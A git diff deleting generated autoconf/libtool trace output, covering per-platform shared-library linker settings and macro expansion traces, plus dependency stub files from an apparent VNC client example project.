- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
- *)
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- newsos6)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- openbsd*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- else
- case $host_os in
- openbsd[[01]].* | openbsd2.[[0-7]] | openbsd2.[[0-7]].*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(archive_cmds, $1)='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- else
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- ;;
-
- solaris*)
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- case $host_os in
- solaris2.[[0-5]] | solaris2.[[0-5]].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' ;;
- *)
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(reload_cmds, $1)='$CC -r -o $output$reload_objs'
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- ;;
- motorola)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_direct, $1)=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- sysv4.3*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- _LT_AC_TAGVAR(ld_shlibs, $1)=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7*)
- _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- *)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- fi
-])
-AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)])
-test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)" in
-x|xyes)
- # Assume -lc should be added
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $_LT_AC_TAGVAR(archive_cmds, $1) in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- AC_MSG_CHECKING([whether -lc should be explicitly linked in])
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if AC_TRY_EVAL(ac_compile) 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)
- pic_flag=$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$_LT_AC_TAGVAR(allow_undefined_flag, $1)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=
- if AC_TRY_EVAL(_LT_AC_TAGVAR(archive_cmds, $1) 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1)
- then
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- else
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
- fi
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- AC_MSG_RESULT([$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)])
- ;;
- esac
- fi
- ;;
-esac
-])
-m4trace:acinclude.m4:6876: -1- AC_DEFUN([_LT_AC_FILE_LTDLL_C], [
-# /* ltdll.c starts here */
-# #define WIN32_LEAN_AND_MEAN
-# #include <windows.h>
-# #undef WIN32_LEAN_AND_MEAN
-# #include <stdio.h>
-#
-# #ifndef __CYGWIN__
-# # ifdef __CYGWIN32__
-# # define __CYGWIN__ __CYGWIN32__
-# # endif
-# #endif
-#
-# #ifdef __cplusplus
-# extern "C" {
-# #endif
-# BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved);
-# #ifdef __cplusplus
-# }
-# #endif
-#
-# #ifdef __CYGWIN__
-# #include <cygwin/cygwin_dll.h>
-# DECLARE_CYGWIN_DLL( DllMain );
-# #endif
-# HINSTANCE __hDllInstance_base;
-#
-# BOOL APIENTRY
-# DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved)
-# {
-# __hDllInstance_base = hInst;
-# return TRUE;
-# }
-# /* ltdll.c ends here */
-])
-m4trace:acinclude.m4:6915: -1- AC_DEFUN([_LT_AC_TAGVAR], [ifelse([$2], [], [$1], [$1_$2])])
-m4trace:acinclude.m4:6919: -1- AC_DEFUN([AM_PROG_LIBTOOL], [AC_PROG_LIBTOOL])
-m4trace:acinclude.m4:6920: -1- AC_DEFUN([AM_ENABLE_SHARED], [AC_ENABLE_SHARED($@)])
-m4trace:acinclude.m4:6921: -1- AC_DEFUN([AM_ENABLE_STATIC], [AC_ENABLE_STATIC($@)])
-m4trace:acinclude.m4:6922: -1- AC_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)])
-m4trace:acinclude.m4:6923: -1- AC_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)])
-m4trace:acinclude.m4:6924: -1- AC_DEFUN([AM_PROG_LD], [AC_PROG_LD])
-m4trace:acinclude.m4:6925: -1- AC_DEFUN([AM_PROG_NM], [AC_PROG_NM])
-m4trace:acinclude.m4:6930: -1- AC_DEFUN([LT_AC_PROG_GCJ], [AC_CHECK_TOOL(GCJ, gcj, no)
- test "x${GCJFLAGS+set}" = xset || GCJFLAGS="-g -O2"
- AC_SUBST(GCJFLAGS)
-])
-m4trace:acinclude.m4:6936: -1- AC_DEFUN([LT_AC_PROG_RC], [AC_CHECK_TOOL(RC, windres, no)
-])
-m4trace:acinclude.m4:6950: -1- AC_DEFUN([LT_AC_PROG_SED], [AC_MSG_CHECKING([for a sed that does not truncate output])
-AC_CACHE_VAL(lt_cv_path_SED,
-[# Loop through the user's path and test for sed and gsed.
-# Then use that list of sed's as ones to test for truncation.
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for lt_ac_prog in sed gsed; do
- for ac_exec_ext in '' $ac_executable_extensions; do
- if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then
- lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext"
- fi
- done
- done
-done
-lt_ac_max=0
-lt_ac_count=0
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- else
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- ifelse([$3], , :, [$3])
- fi
- AC_SUBST(LIBGCRYPT_CFLAGS)
- AC_SUBST(LIBGCRYPT_LIBS)
-])
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-m4trace:configure.ac:19: -1- _LT_AC_LANG_GCJ_CONFIG([GCJ])
-m4trace:configure.ac:19: -1- _m4_warn([obsolete], [The macro `AC_LANG_SAVE' is obsolete.
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
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-acinclude.m4:4604: AC_LIBTOOL_LANG_GCJ_CONFIG is expanded from...
-acinclude.m4:2391: _LT_AC_TAGCONFIG is expanded from...
-acinclude.m4:684: AC_LIBTOOL_SETUP is expanded from...
-acinclude.m4:664: _AC_PROG_LIBTOOL is expanded from...
-acinclude.m4:629: AC_PROG_LIBTOOL is expanded from...
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-acinclude.m4:1264: AC_LIBTOOL_LINKER_OPTION is expanded from...
-acinclude.m4:5419: AC_LIBTOOL_PROG_COMPILER_PIC is expanded from...
-acinclude.m4:4605: _LT_AC_LANG_GCJ_CONFIG is expanded from...
-acinclude.m4:4604: AC_LIBTOOL_LANG_GCJ_CONFIG is expanded from...
-acinclude.m4:2391: _LT_AC_TAGCONFIG is expanded from...
-acinclude.m4:684: AC_LIBTOOL_SETUP is expanded from...
-acinclude.m4:664: _AC_PROG_LIBTOOL is expanded from...
-acinclude.m4:629: AC_PROG_LIBTOOL is expanded from...
-configure.ac:19: the top level])
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-acinclude.m4:4604: AC_LIBTOOL_LANG_GCJ_CONFIG is expanded from...
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-acinclude.m4:684: AC_LIBTOOL_SETUP is expanded from...
-acinclude.m4:664: _AC_PROG_LIBTOOL is expanded from...
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([old_archive_From_new_cmds], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_libdir_flag_spec], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([allow_undefined_flag], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_direct], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_shlibpath_var], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_shlibpath_var], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_shlibpath_var], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([ld_shlibs], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds_need_lc], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_wl], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([lt_prog_compiler_pic], [GCJ])
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-m4trace:configure.ac:19: -2- _LT_AC_TAGVAR([archive_cmds], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds_need_lc], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds_need_lc], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([allow_undefined_flag], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds_need_lc], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([archive_cmds_need_lc], [GCJ])
-m4trace:configure.ac:19: -1- AC_LIBTOOL_SYS_DYNAMIC_LINKER([GCJ])
-m4trace:configure.ac:19: -1- AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH([GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_action], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_action], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_action], [GCJ])
-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_action], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([hardcode_action], [GCJ])
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-m4trace:configure.ac:19: -1- _LT_AC_TAGVAR([include_expsyms], [GCJ])
-m4trace:configure.ac:19: -1- _m4_warn([obsolete], [The macro `AC_LANG_RESTORE' is obsolete.
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deleted file mode 100644
index 9ce06a8..0000000
--- a/client_examples/.deps/SDLvncviewer-SDLvncviewer.Po
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/client_examples/.deps/SDLvncviewer-scrap.Po b/client_examples/.deps/SDLvncviewer-scrap.Po
deleted file mode 100644
index 9ce06a8..0000000
--- a/client_examples/.deps/SDLvncviewer-scrap.Po
